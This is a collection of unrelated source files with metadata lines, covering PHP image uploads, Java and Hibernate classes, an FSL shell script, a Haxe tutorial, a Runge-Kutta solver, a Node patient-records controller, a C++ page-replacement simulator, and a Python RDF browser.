@ImageCreateFromPNG($file_dir.'/'.$file_name); break; } if (!$src) return $file_name; if ($img_size[2]!='1' && function_exists('ImageCreateTrueColor')) { # GIF $dst = ImageCreateTrueColor($new_size[0], $new_size[1]); ImageCopyResampled($dst, $src, 0, 0, 0, 0, $new_size[0], $new_size[1], $img_size[0], $img_size[1]); } else { $dst = ImageCreateTrueColor($new_size[0], $new_size[1]); $trans_color = imagecolorallocate($dst, 255, 0, 0); $color = imagecolorallocate($dst, 255, 255, 255); imagecolortransparent($dst, $trans_color); ImageCopyResized($dst, $src, 0, 0, 0, 0, $new_size[0], $new_size[1], $img_size[0], $img_size[1]); } if (!$delete) { switch ($img_size[2]) { case 1: ImageGIF($dst, $file_dir.'/'.$file_name.'1'); break; case 2: ImageJPEG($dst, $file_dir.'/'.$file_name.'1', $quality); break; case 3: ImagePNG($dst, $file_dir.'/'.$file_name.'1'); break; } } else { switch ($img_size[2]) { case 1: ImageGIF($dst, $file_dir.'/'.$file_name); break; case 2: ImageJPEG($dst, $file_dir.'/'.$file_name, $quality); break; case 3: ImagePNG($dst, $file_dir.'/'.$file_name); break; } } ImageDestroy($src); ImageDestroy($dst); $new_name = new_file_name($file_name,"_".$size[0]); if (file_exists($file_dir.'/'.$new_name)) { $num = 1; while (file_exists($file_dir.'/'.new_file_name($file_name, '['.$num.']'."_".$size[0]))) { $num++; } $new_name = new_file_name($file_name, '['.$num.']'."_".$size[0]); } if (!$delete) { rename($file_dir.'/'.$file_name.'1', $file_dir.'/'.$new_name); } else { rename($file_dir.'/'.$file_name, $file_dir.'/'.$new_name); } $ret = $file_dir.'/'.$new_name; return imgpath($ret); } function downloadFiles2($files, $idarr, $name, $fieldname, $dir, $choose, $resample_size = array(), $quality = 85, $delete = false) { $images = $photo_arr = array(); $change1 = array('', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ' '); $change2 = array('a', 'b', 'v', 'g', 'd', 'e', 'jo', 'zh', 'z', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'f', 'h', 'c', 'ch', 'sh', 'shh', '', 'y', '', 'je', 'ju', 'ja', ''); foreach ($idarr AS $i=>$v) { if (is_array($files['fld']['name'][$name][$fieldname])) { if (!empty($files['fld']['name'][$name][$fieldname][$i]) && $choose[$i]) { $filename = $files['fld']['name'][$name][$fieldname][$i]; $filename = str_replace($change1, $change2, strtolower($filename)); $full_filename = $dir.'/'.$filename; if ($resample_size) { // , $size = getimagesize($files['fld']['tmp_name'][$name][$fieldname][$i]); if (!$size) continue; } if (@move_uploaded_file($files['fld']['tmp_name'][$name][$fieldname][$i], $full_filename) !== false) { @chmod($full_filename, 0664); if ($resample_size) { $del = $delete; foreach ($resample_size as $key=>$val) { $image = ResampleImage($dir, $filename, $val, false, $quality); if ($image) { $image = path($image); $photo_arr[$i][$key] = $image; ksort($photo_arr[$i]); } } // , , // if ($del && $photo_arr[$i]['image_large']!=$full_filename) unlink ($full_filename); } else $photo_arr[$i] = $filename; } } } else { if (!empty($files['fld']['name'][$name][$fieldname])) { $filename = $files['fld']['name'][$name][$fieldname]; $filename = str_replace($change1, $change2, strtolower($filename)); $full_filename = $dir.'/'.$filename; if ($resample_size) { // , $size = getimagesize($files['fld']['tmp_name'][$name][$fieldname]); if (!$size) continue; } if (@move_uploaded_file($files['fld']['tmp_name'][$name][$fieldname], $full_filename) !== false) { @chmod($full_filename, 0664); if ($resample_size) { // $file['image_large'] = $full_filename; $file['image_small'] = ResampleImage($dir, $filename, $resample_size, $delete, $quality); $images[] = $file; } else $images[] = $filename; } } } } return $photo_arr; } function new_file_name($file_name, $suffix) { $dot = strrpos($file_name, '.'); $fbase = substr($file_name, 0, $dot); $fext = strtolower(substr($file_name, $dot)); return $fbase.$suffix.$fext; } function ImageSize2($img_size, $max_width=0, $max_height=0) { if ($max_width && $img_size[0]>$max_width) { $img_size[1]=round($max_width*$img_size[1]/$img_size[0]); $img_size[0]=$max_width; } if ($max_height && $img_size[1]>$max_height) { $img_size[0]=round($max_height*$img_size[0]/$img_size[1]); $img_size[1]=$max_height; } return $img_size; } /* "bla/bla/bla" */ function imgpath(&$path) { $path = str_replace('\\', '/', $path); $elems = explode("/", $path); foreach ($elems as $k=>$v){ if (empty($v) && !is_numeric($v)) unset($elems[$k]); } $path = (strpos($path, '/') === 0 ? "/" : ""); $path .= implode("/", $elems); return $path; } ?>
Java
UTF-8
183
2.109375
2
[]
no_license
package SomeStatic.MyTrainingExceptions; public class ShirtException extends ClothingException { ShirtException() { System.out.println("This is ShirtException"); } }
Java
UTF-8
906
2.109375
2
[]
no_license
package org.yijun.hie.persistence.repository; import org.hibernate.Session; import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import org.yijun.hie.persistence.entity.EnterpriseEntity; import java.util.List; /** * Created by liuyijun on 14-11-18. */ @Repository public class EnterpriseRepository { @Autowired private SessionFactory sessionFactory; private String geEnterpriseFroTypesHql = "from EnterpriseEntity where enterpriseType = :enterpriseType"; public List<EnterpriseEntity> getEnterpriseListForTypeFromRepository(String type){ Session session = sessionFactory.getCurrentSession(); List<EnterpriseEntity> enterpriseEntityList = session.createQuery(geEnterpriseFroTypesHql).setString("enterpriseType",type).list(); return enterpriseEntityList; } }
Shell
UTF-8
554
2.671875
3
[]
no_license
#!/bin/bash #Swap voxels and header in bad image 1 according to parameters in good image 2 #badfile=/scratch/wbic-beta/spj24/serpent/sub-S7P05/sub-S7P05_vol0.nii.gz #goodfile=/scratch/wbic-beta/spj24/serpent/sub-S7C03/sub-S7C03_ses-20181025_task-SERPENT_acq-cmrr_run-1_bold_vol0.nii.gz badfile=$1 goodfile=$2 badfile=`remove_ext "${badfile}"` badfileswap="${badfile}"_swap fslswapdim "${badfile}" x z -y "${badfileswap}" sform=`fslorient -getsform ${goodfile}` fslorient -setsform ${sform} "${badfileswap}" fslorient -copysform2qform "${badfileswap}"
Markdown
UTF-8
2,420
3.21875
3
[ "MIT" ]
permissive
# VanillaJS Check the [code folder](https://github.com/MatthijsKamstra/haxejs/tree/master/docs/03vanillajs/code) for more comments. I have taken some of the examples for the <http://youmightnotneedjquery.com> and converted it to HaxeJS. The fadeIn is just a rewrite... couldn't get it to work the way they did it. _The code used in this example can be found [here](https://github.com/MatthijsKamstra/haxejs/tree/master/docs/03vanillajs/code)._ ## Request <http://youmightnotneedjquery.com/#request> How to get information of an server (in this case NASA) **jQuery** ```js $.ajax({ type: "GET", url: "https://api.nasa.gov/planetary/apod?concept_tags=True&api_key=DEMO_KEY", success: function (resp) {}, error: function () {}, }); ``` **vanillaJS** (IE9+) ```haxe // ajax call var request = new js.html.XMLHttpRequest(); request.open('GET', 'https://api.nasa.gov/planetary/apod?concept_tags=True&api_key=DEMO_KEY', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var json = request.responseText; trace( "json: " + json ); } else { // We reached our target server, but it returned an error trace("oeps: status: " + request.status + " // json: " + request.responseText); } }; request.onerror = function() { // There was a connection error of some sort trace("error"); }; request.send(); ``` ## FadeIn <http://youmightnotneedjquery.com/#fade_in> This one is totally different from the code used on the website. I couldn't get it to work the way they desribed. **jQuery** ```js $(el).fadeIn(); ``` **vanillaJS** (IE9+) ```haxe // somewhere in your code fadeIn(el); // fade private function fadeIn(pElement:js.html.Element, ?pOpacity:Float ) { if(pOpacity == null){ pOpacity = 0; } else { pOpacity += 0.1; } pElement.style.opacity = Std.string (pOpacity); if (pOpacity < 1) { haxe.Timer.delay(function () { this.fadeIn(pElement,pOpacity); },100); } else { trace( "Stop fadein" ); } } ``` ## Click An example how to write it in plain JavaScript **jQuery** ```js $(".btnclass").click(function () { alert("this is a test"); }); ``` **vanillaJS** ```haxe var document = js.Browser.document; var window = js.Browser.window; var _btn = document.getElementsByClassName("btnclass")[0]; // select the first one // onclick _btn.addEventListener('click', function() { window.alert('this is a test'); }, false); ```
Python
UTF-8
106
3.125
3
[]
no_license
monday=[9.1,8.8,7.5] for temp in monday: print(round(temp)) for letter in 'hello': print(letter)
Python
UTF-8
1,966
2.640625
3
[]
no_license
import dash_html_components as html from babel.numbers import format_decimal from variables import get_variable class Value: def __init__(self, val): self.val = val def __format__(self, fmt): val = self.val if fmt == 'noround': dec_fmt = None else: # Use three meaningful digits by default dec_fmt = '@@@' out = format_decimal(val, format=dec_fmt, locale='fi_FI') return '|%s|' % out class CardDescription: def __init__(self): self.context = self._get_default_context() def _get_default_context(self): return dict( org_genitive=get_variable('org_genitive'), org_nominative=get_variable('org_nominative'), municipality=get_variable('municipality_name'), municipality_genitive=get_variable('municipality_genitive'), municipality_locative=get_variable('municipality_locative'), target_year=get_variable('target_year'), ) def set_variables(self, **kwargs): self.context.update(kwargs) def set_values(self, **kwargs): ctx = {key: Value(value) for key, value in kwargs.items()} self.context.update(ctx) def render(self, s): out = s.format(**self.context) tokens = out.split('|') paragraphs = [] els = [] for idx, token in enumerate(tokens): if not token.strip(): continue if idx == 0: token = token.lstrip() if idx % 2 == 0: el = token else: if token == 'p': paragraphs.append(html.P(els)) els = [] continue else: el = html.Span(token, className='summary-card__value') els.append(el) if els: paragraphs.append(html.P(els)) return paragraphs
PHP
UTF-8
1,675
2.90625
3
[]
no_license
<?php /** * PHP By Example * * @copyright 2015 Michel Corne * @license http://www.opensource.org/licenses/gpl-3.0.html GNU GPL v3 */ require_once 'models/function_core.php'; /** * Function configuration * * @see docs/function-configuration.txt */ class pdo__lastinsertid extends function_core { public $examples = [ [ 'exec_statement' => "CREATE TABLE fruit (name, colour, calories INT); INSERT INTO fruit VALUES ('apple', 'red', 150), ('banana', 'yellow', 250), ('kiwi', 'brown', 75), ('lemon', 'yellow', 25), ('orange', 'orange', 300), ('pear', 'green', 150), ('watermelon', 'pink', 90)", ], ]; public $input_args = ['exec_statement']; public $source_code = ' $pdo = new PDO("sqlite::memory:", null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); $int = $pdo->exec( $exec_statement // string $exec_statement ); inject_function_call '; public $synopsis = 'public string PDO::lastInsertId ([ string $name = NULL ] )'; function pre_exec_function() { $this->result['pdo'] = $this->object = new PDO('sqlite::memory:', null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); $statement = $this->_filter->filter_arg_value('exec_statement'); $this->result['int'] = $this->object->exec($statement); if ($this->result['int'] === false) { $this->method_to_exec = false; return; } } }
Python
UTF-8
4,587
3.234375
3
[ "MIT" ]
permissive
import numpy as np from timeit import default_timer from matplotlib import pyplot as plt def RK45(F, y_0, t_0, t_1, h_0, T): """Runge Kutta Fehlberg, a Runge Kutta 4/5 embedded pair method for iterative solving of IVPs Parameters: F (function(t, y)): the derivative of y(t) y_0 (number(s)): the initial values for y t_0: start time t_1: end time h: initial step size T: error tolerance """ h = h_0 t = [t_0] w = [y_0] while t[-1] + h < t_1: h_new, t_new, w_new = RK45step(F, t[-1], w[-1], h, T) t.append(t_new) w.append(w_new) h = h_new while t[-1] < t_1: h = t_1 - t[-1] _, t_new, w_new = RK45step(F, t[-1], w[-1], h, T) # get end value t.append(t_new) w.append(w_new) return t, w def RK45Iterator(F, y_0, t_0, t_1, h_0, T): """Runge Kutta Fehlberg, a Runge Kutta 4/5 embedded pair method for iterative solving of IVPs Parameters: F (function(t, y)): the derivative of y(t) y_0 (number(s)): the initial values for y t_0: start time t_1: end time h: initial step size T: error tolerance """ h = h_0 t = t_0 w = y_0 while t + h < t_1: h, t, w = RK45step(F, t, w, h, T) yield t, w while t < t_1: h = t_1 - t _, t, w = RK45step(F, t, w, h, T) # get end value yield t, w return t, w def RK45step(F, t, w, h, T, retry=False): """A single step of RK45 Parameters: F (function(t, y)): the derivative of y(t) t: number(s), the current x value w: the current approximation of y h: the step size T: error tolerance """ while True: # loops until return s1 = F(t, w) s2 = F(t + 1/4 * h, w + 1/4 * h*s1) s3 = F(t + 3/8 * h, w + 3/32 * h*s1 + 9/32 * h*s2) s4 = F(t + 12/13 * h, w + 1932/2197 * h*s1 - 7200/2197 * h*s2 + 7296/2197 * h*s3) s5 = F(t + h, w + 439/216 * h*s1 - 8*h*s2 + 3680/513 * h*s3 - 845/4104*h*s4) s6 = F(t + 1/2 * h, w - 8/27 * h*s1 + 2 * h*s2 - 3544/2565 * h*s3 + 1859/4104 * h*s4 - 11/40 * h*s5) w_new = w + h*(25/216 * s1 + 1408/2565 * s3 + 2197/4104 * s4 - 1/5 * s5) z_new = w + h*(16/135 * s1 + 6656/12825 * s3 + 28561/56430 * s4 - 9/50 * s5 + 2/55 * s6) t_new = t + h e = abs(np.linalg.norm(z_new - w_new)) e = max(e, T**2) # protect against zero error making infinite jumps if np.isinf(e): e = T*1000 w_norm = np.linalg.norm(w_new) if abs(w_norm) < 1e-6: w_norm = 1e-5 if retry: h_new = h/2 else: h_new = 0.8 * h * np.power(T / e, 0.2) if h_new == 0: h_new = T**5 if e/w_norm > T: h = h_new retry = True else: return h_new, t_new, w_new def _test_y1(t): return np.e**t def _test_F1(t, y): """y(t) = e^t""" return y def _test_y2(t): return np.e ** (t**3 / 3) def _test_F2(t, y): return t*t*y def _test_y3(t): return np.array([t, 2*t*t, np.e**(t*t)]) def _test_F3(t, y): return np.array([1, 4*t, 2*t*np.e**(t*t)]) def _test_errors(): T = 1e-12 h_0 = T/2 t_0 = -1 t_1 = 3 y_0_1 = _test_y1(t_0) y_0_2 = _test_y2(t_0) y_0_3 = _test_y3(t_0) tees_1, w_1 = RK45(_test_F1, y_0_1, t_0, t_1, h_0, T) iterator2 = RK45Iterator(_test_F2, y_0_2, t_0, t_1, h_0, T) tees_3, w_3 = RK45(_test_F3, y_0_3, t_0, t_1, h_0, T) y_1 = [_test_y1(t) for t in tees_1] y_3 = [_test_y3(t) for t in tees_3] g_1 = [(y - w) for y, w in zip(y_1, w_1)] g_3 = [np.linalg.norm((y - w)) for y, w in zip(y_3, w_3)] r_1 = [(y - w)/w for y, w in zip(y_1, w_1)] r_3 = [np.linalg.norm((y - w))/np.linalg.norm(w) for y, w in zip(y_3, w_3)] print("RK45") print("t: | w: | y: | error: | rel. error") for i in range(len(tees_1)): print(f'{tees_1[i]:+5e} | {w_1[i]:+5e} | {y_1[i]:+5e} | {g_1[i]:+5e} | {r_1[i]:+5e}') print("RK45Iterator") print("t: | w: | y: | error: | rel. error") for t, w in iterator2: print(f'{t:+5e} | {w:+5e} | {_test_y2(t):+5e} | {(_test_y2(t)-w):+5e} | {(_test_y2(t)-w) / w:+5e}') print("RK45 with multivariable") print("t: | error: | rel. error") for i in range(len(tees_3)): print(f'{tees_3[i]:+5e} | {g_3[i]:+5e} | {r_3[i]:+5e}') if __name__ == '__main__': _test_errors() t_0 = 0 t_1 = 1200 y_0 = [0, 0, 0, 0]
JavaScript
UTF-8
10,510
2.640625
3
[]
no_license
'use strict' var config = require('../config'); var Patients = require('../models/neo4j/patients'); var FileMongo = require('../models/mongodb/files'); var Studios = require('../models/neo4j/studios'); var Security = require('./security'); var dbUtils = require('../neo4j/dbUtils'); var _ = require('lodash'); ///// FUNCION PARA HACER LA MAYUSCULA LA PRIMER LETRA DE UN STRING Y LAS DEMAS EN MINUSCULAS /////////// function capitalize(string) { return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase(); } /////////////////////// MÉTODO PARA REGISTRAR A UN PACIENTE /////////////////////////// function register(req, res){ var params = req.body; //Recoger el id del usuario que registra al paciente if (!params.userId){ return res.status(400).send({message: 'Id del usuario no provisto'}); } //Verificar que el usuario que registra al paciente es quien dice ser if(req.user.id != params.userId){ //Si no es el propietario de los pacientes return res.sendStatus(401); } //Si la información está completa if(params.userId != null && params.name != null && params.asurname != null && params.msurname != null && params.age != null && params.gender != null && params.weight != null && params.height != null){ //Obtener la subclave del usuario para cifrar la información de los pacientes Security.getSubkey(dbUtils.getSession(req), params.userId) .then( subkey => { for(var prop in params){ if(prop != 'userId'){ if(params[prop]){ if(prop == 'name' || prop == 'asurname' || prop == 'msurname') params[prop] = Security.encryptPlain(capitalize(params[prop].toString()), subkey.toString()); else params[prop] = Security.encryptPlain(params[prop].toString(), subkey.toString()); } } } //Registrar al paciente Patients.register( dbUtils.getSession(req), //Session params.userId, params.name, params.asurname, params.msurname, params.age, params.gender, params.weight, params.height, params.mainActivity ) .then(patient => {res.status(200).send(patient);}) //Devolver los datos del paciente almacenado .catch(function (err) {console.log(err); res.status(err.status).send({message: err.username});}) //Si ocurre un error }) .catch(function (err) { //res.status(err.status).send({message: err.username}); console.log(err); }) //Si ocurre un error } else{ res.status(400).send({message: 'Rellena todos los datos'}); } } /////////////////////// MÉTODO PARA EDITAR A UN PACIENTE /////////////////////////// function update(req, res){ var update = req.body; var patientId = req.params.id; if(!patientId){ return res.status(400).send({message: 'No se ha proveido un paciente'}); } Patients.getPatientOwner(dbUtils.getSession(req),patientId) .then(userId => { if(req.user.id != userId ){ //Si no es el propietario del paciente return res.sendStatus(401); } //Si la información está completa if(update.name != null && update.asurname != null && update.msurname != null && update.age != null && update.gender != null && update.weight != null && update.height != null){ //Obtener la subclave del usuario para cifrar la información de los pacientes Security.getSubkey(dbUtils.getSession(req), userId) .then( subkey => { for(var prop in update){ if(update[prop]){ if(prop == 'name' || prop == 'asurname' || prop == 'msurname') update[prop] = Security.encryptPlain(capitalize(update[prop].toString()), subkey.toString()); else update[prop] = Security.encryptPlain(update[prop].toString(), subkey.toString()); } } //Registrar al usuario Patients.update( dbUtils.getSession(req), //Session patientId, { name: update.name, asurname: update.asurname, msurname: update.msurname, age: update.age, gender: update.gender, weight: update.weight, height: update.height, mainActivity: update.mainActivity } ) .then(patient => {res.status(200).send(patient);}) //Devolver los datos del paciente almacenado .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error // .catch(next); }) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error } else{ res.status(400).send({message: 'Rellena todos los datos'}); } }) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error } /////////////////////// MÉTODO PARA RECUPERAR LA LISTA DE LOS PACIENTES DE UN USUARIO ////////////////// function getPatientList(req, res){ var userId = req.params.id; if(!userId){ return res.status(400).send({message: 'No se ha proveido el usuario'}); } if(req.user.id != userId){ //Si no es el propietario de los pacientes return res.sendStatus(401); } //Obtener la subclave del usuario para cifrar la información de los pacientes Security.getSubkey(dbUtils.getSession(req), userId) .then( subkey => { Patients.getPatientList(dbUtils.getSession(req), userId) .then(patientsEnc => { let patients = []; patientsEnc.forEach(patient => { for(var prop in patient){ if(prop != '_id') //Descifrar la propiedad del paciente if(patient[prop]) patient[prop] = Security.decryptPlain(patient[prop].toString(), subkey); } patients.push(patient); }) res.status(200).send({patients}); }) .catch(function (err) {console.log(err); res.status(err.status).send({message: err.username});}) //Si ocurre un error }) .catch(function (err) {console.log(err); res.status(err.status).send({message: err.username});}) //Si ocurre un error } /////////////////////// MÉTODO PARA RECUPERAR UN PACIENTE ////////////////// function getPatient(req, res){ var patientId = req.params.id; if(!patientId){ return res.status(400).send({message: 'No se ha proveido un paciente'}); } Patients.getPatientOwner(dbUtils.getSession(req),patientId) .then(userId => { if(req.user.id != userId ){ //Si no es el propietario del paciente return res.sendStatus(401); } //Obtener la subclave del usuario para cifrar la información de los pacientes Security.getSubkey(dbUtils.getSession(req), userId) .then( subkey => { Patients.getPatient(dbUtils.getSession(req), patientId) .then(patient => { for(var prop in patient){ if(prop != '_id') if(patient[prop]) patient[prop] = Security.decryptPlain(patient[prop].toString(), subkey); } res.status(200).send({patient}); }) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error}) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error }) }) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error } //Listar los pacientes de un estudio function getPatientsInTheStudio(req, res){ var studioId = req.params.id; //Checar al propietario del estudio Studios.getStudioOwner(dbUtils.getSession(req),studioId) .then(userId => { if(req.user.id != userId ){ //Si no es el propietario del estudio return res.sendStatus(401); } //Obtener la subclave del usuario para cifrar la información de los pacientes Security.getSubkey(dbUtils.getSession(req), userId) .then( subkey => { Patients.getPatientsInTheStudio(dbUtils.getSession(req), studioId) .then(patientsEnc => { let patients = []; patientsEnc.forEach(patient => { for(var prop in patient){ if(prop != '_id') //Descifrar la propiedad del paciente if(patient[prop]) patient[prop] = Security.decryptPlain(patient[prop].toString(), subkey); } patients.push(patient); }) res.status(200).send(patients); }) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error }) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error }) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error } //Listar los pacientes que no están en un estudio function getPatientsThatAreNotInTheStudio(req, res){ var studioId = req.params.id; //Checar al propietario del estudio Studios.getStudioOwner(dbUtils.getSession(req),studioId) .then(userId => { if(req.user.id != userId ){ //Si no es el propietario del estudio return res.sendStatus(401); } //Obtener la subclave del usuario para cifrar la información de los pacientes Security.getSubkey(dbUtils.getSession(req), userId) .then( subkey => { Patients.getPatientsThatAreNotInTheStudio(dbUtils.getSession(req), studioId, userId) .then(patientsEnc => { let patients = []; patientsEnc.forEach(patient => { for(var prop in patient){ if(prop != '_id') //Descifrar la propiedad del paciente if(patient[prop]) patient[prop] = Security.decryptPlain(patient[prop].toString(), subkey); } patients.push(patient); }); res.status(200).send(patients); }) .catch(function (err) { //res.status(err.status).send({message: err.username}); console.log(err); }) //Si ocurre un error }) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error }) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error } /////////////////////// MÉTODO PARA ELIMINAR UN PACIENTE ////////////////// function deletePatient(req, res){ var patientId = req.params.id; if(!patientId){ return res.status(400).send({message: 'No se ha provisto un paciente'}); } Patients.getPatientOwner(dbUtils.getSession(req),patientId) .then(userId => { if(req.user.id != userId ){ //Si no es el propietario del paciente return res.sendStatus(401); } //Eliminar los archivos del paciente FileMongo.remove({ patients_id: patientId }).exec((err) =>{ if(err){ res.status(500).send({message: "Error en la petición"}); } }); Patients.deletePatient(dbUtils.getSession(req), patientId) .then(deletedPatient => { res.status(200).send({deletedPatient});}) .catch(function (err) {res.status(err.status).send({message: err.username});}) //Si ocurre un error }) .catch(); } module.exports = { register, update, getPatientList, getPatient, getPatientsInTheStudio, getPatientsThatAreNotInTheStudio, deletePatient };
C++
UTF-8
3,266
3.25
3
[]
no_license
#include<stdio.h> #include<iostream> #include<vector> #include<string> #include<fstream> #include<map> #include<iomanip> using namespace std; class Node{ public: Node() = default; Node(string value):value(value), pre(NULL), next(NULL){} ~Node() = default; string value;//page number Node* pre; Node* next; }; class Cache{ public: Cache(){ head = new Node(); tail = new Node(); head->next = tail; head->pre = NULL; tail->pre = head; tail->next = NULL; size = 0; } ~Cache(){ delete head; table.clear(); } Node* FIND(string page){ map<string, Node*>::iterator it; it = table.find(page); if(it==table.end()) return NULL; else return it->second; } void PUT(string page){ Node* node = new Node(page); //node->value = page; node->next = head->next; head->next->pre = node; head->next = node; node->pre = head; //table.insert(std::make_pair<string, Node*>(page, node)); table[page] = node; ++size; return; } void remove_tail(){ Node* tmp = tail->pre; tmp->pre->next = tail; tail->pre = tmp->pre; table.erase(tmp->value); tmp->next = NULL; tmp->pre = NULL; delete tmp; --size; return; } void move_front(Node* node){ node->pre->next = node->next; node->next->pre = node->pre; node->next = head->next; head->next->pre = node; head->next = node; node->pre = head; return; } void show(){//debug function for(Node* tmp=head->next;tmp->next!=NULL;tmp=tmp->next){ cout << tmp->value << " "; } cout << endl; return; } int size; map<string, Node*> table; Node* head; Node* tail; }; int main(){ ifstream file; long long int miss, hit; string tmp; Node* cur; file.open("trace.txt", ios::in); if(!file){ cout << "can't open trace.txt\n"; exit(1); } cout << "FIFO---\n"; cout << "size\t\tmiss\t\thit\t\tpage fault ratio\n"; for(int i=64;i<=512;i*=2){ miss = 0; hit = 0; Cache fifo; while(getline(file, tmp)){ string page(tmp, 3, 5);//page = tmp(3,7); page += '\0'; cur = fifo.FIND(page); if(cur==NULL){ ++miss; if(fifo.size == i){ fifo.remove_tail(); fifo.PUT(page); //fifo.show(); } else fifo.PUT(page); } else ++hit; } cout << i << "\t\t" << miss << "\t\t" << hit << "\t" << fixed << setprecision(9)<<(double)miss/(double)(miss+hit) << "\n"; file.clear(); file.seekg(0); } cout<<"\nLRU---\n"; cout << "size\t\tmiss\t\thit\t\tpage fault ratio\n"; for(int i=64;i<=512;i*=2){ Cache LRU; miss = 0; hit = 0; //while(file.getline(tmp, 1024, '\n')){ while(getline(file, tmp)){ string page(tmp, 3, 5); page += '\0'; cur = LRU.FIND(page); if(cur==NULL){ ++miss; if(LRU.size == i){ LRU.remove_tail(); LRU.PUT(page); } else LRU.PUT(page); } else{ ++hit; LRU.move_front(cur); } } cout << i << "\t\t" << miss << "\t\t" << hit << "\t" << fixed << setprecision(9)<<(double)miss/(double)(miss+hit) << "\n"; file.clear(); file.seekg(0, file.beg); } file.close(); return 0; }
C#
UTF-8
1,879
3.421875
3
[]
no_license
using System; using System.Collections; using System.Drawing; using System.IO; public class Polygon { private PointF[] pontos; private ArrayList stringsText = new ArrayList(); public Polygon(String nameDoc) { try { // Open the text file using a stream reader. Stream entrada = File.Open(nameDoc, FileMode.Open); StreamReader leitor = new StreamReader(entrada); string linha = leitor.ReadLine(); stringsText.Add("" + linha); while (linha != null) { //MessageBox.Show(linha); linha = leitor.ReadLine(); stringsText.Add(linha); } leitor.Close(); entrada.Close(); } catch (Exception ex) { Console.WriteLine("The file could not be read:"); Console.WriteLine(ex.Message); } FormPolygon(); } private void FormPolygon () { pontos = new PointF[stringsText.Count - 1]; int countPoints = 0; for (int i = 0; i < stringsText.Count - 1; i++) { String value = stringsText[i].ToString(); Char delimiter = ','; String[] substrings = value.Split(delimiter); int counting = 0; int x = 0; int y = 0; foreach (var substring in substrings) { if (counting == 0) { Int32.TryParse(substring, out x); counting++; } else { Int32.TryParse(substring, out y); } } pontos[countPoints] = new Point(x, y); countPoints++; } } public PointF[] GetPoints () { return pontos; } }
Python
UTF-8
1,773
2.96875
3
[]
no_license
import socket import matplotlib matplotlib.use("Qt4Agg") import matplotlib.pylab as pylab import numpy as np import time pylab.ion() class ExperimentPlot: def __init__(self,left, bottom, width,height): self.figure = pylab.figure() self.ax = self.figure.add_subplot(111) self.ax.set_xlim(left, left + width) self.ax.set_ylim(bottom, bottom + height) self.ax.set_autoscale_on(False) self.figure.canvas.draw() self.background = self.figure.canvas.copy_from_bbox(self.ax.bbox) self.eyepos, = self.ax.plot([-1],[-1],'.',markersize=20) self.figure.canvas.draw() #pylab.show(block=False) def update_eyepos(self,x,y): self.figure.canvas.restore_region(self.background) self.eyepos.set_xdata([x]) self.eyepos.set_ydata([y]) self.ax.draw_artist(self.eyepos) self.figure.canvas.blit(self.ax.bbox) def test(): eplot = ExperimentPlot(-10,-10,20,20) x =0.0 y = 0.0 for i in xrange(1000): x += 0.1*np.random.randn() y += 0.1*np.random.randn() eplot.update_eyepos(x,y) time.sleep(0.01) if __name__ == "__main__": #create a socket #listen to the socket #plot the x,y position from the socket #pylab.ion() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("localhost", 2364)) sock.listen(10) while 1: conn,addr = sock.accept() explot = ExperimentPlot(800,600) pylab.ion() while True: data = conn.recv(1024) if data == "": break x,y = [float(x) for x in data.split(",")] explot.update_eyepos(x,y) pylab.draw() conn.close() sock.close()
Python
UTF-8
5,056
3.171875
3
[ "MIT" ]
permissive
from cmd import Cmd HELP_MSG = ''' Commands: load URI # Load triples from URI or file. go URI # Go to a resource and load related triples. size # Print the number of triples in the graph. types # List all types, i.e. objects of rdf:type. this # Print the current resource. pred # List all predicates of the current resource. ls [PRED] # List outgoing predicates and objects. If a predicate is given, print the objects. fw PRED # Follow outgoing predicate, go to the object. is [PRED] # List incoming subjects and predicates. If a predicate is given, print the subjects. bw PRED # Follow backwards incoming predicate, go to the subject. f # Go forward in history b # Go back in history hist # Print history stack. help # Print this help. exit # Exit. ''' class View(Cmd): def __init__(self): Cmd.__init__(self) self.prompt = '> ' def set_controller(self, controller): self.controller = controller def do_help(self, params): print HELP_MSG def do_quit(self, params): return True def do_exit(self, params): return True def do_EOF(self, params): print return True def emptyline(self): pass def do_load(self, uri): if uri: res = self.controller.load(uri) print 'Loaded %s' % uri if res else 'Error loading %s' % uri else: print 'what?' def do_size(self, params): print self.controller.size() def do_ls(self, uri): res = self.controller.ls(uri) if isinstance(res, dict): self.__print_properties(res) elif isinstance(res, list): self.__print_objects(res) else: print 'nope' def do_is(self, uri): res = self.controller.is_(uri) if isinstance(res, dict): self.__print_properties(res, reverse=True) elif isinstance(res, list): self.__print_objects(res) else: print 'nope' def do_go(self, uri): ref = self.controller.go(uri) if ref != False: self.__update_prompt(ref) else: print 'nope' def do_fw(self, uri): objs = self.controller.get_objects(uri) index = 0 if len(objs) > 1: for i, obj in enumerate(objs): print ' %d) %s' % (i, obj) try: index = int(raw_input('Select one resource: ')) except ValueError: print 'not a number' return ref = self.controller.fw(uri, index) if ref != False: self.__update_prompt(ref) else: print 'what?' def do_bw(self, uri): subjs = self.controller.get_subjects(uri) index = 0 if len(subjs) > 1: for i, subj in enumerate(subjs): print ' %d) %s' % (i, subj) try: index = int(raw_input('Select one resource: ')) except ValueError: print 'not a number' return ref = self.controller.bw(uri, index) if ref != False: self.__update_prompt(ref) else: print 'what?' def do_f(self, params): ref = self.controller.forward() if ref != False: self.__update_prompt(ref) else: print 'nope' def do_b(self, params): ref = self.controller.back() if ref != False: 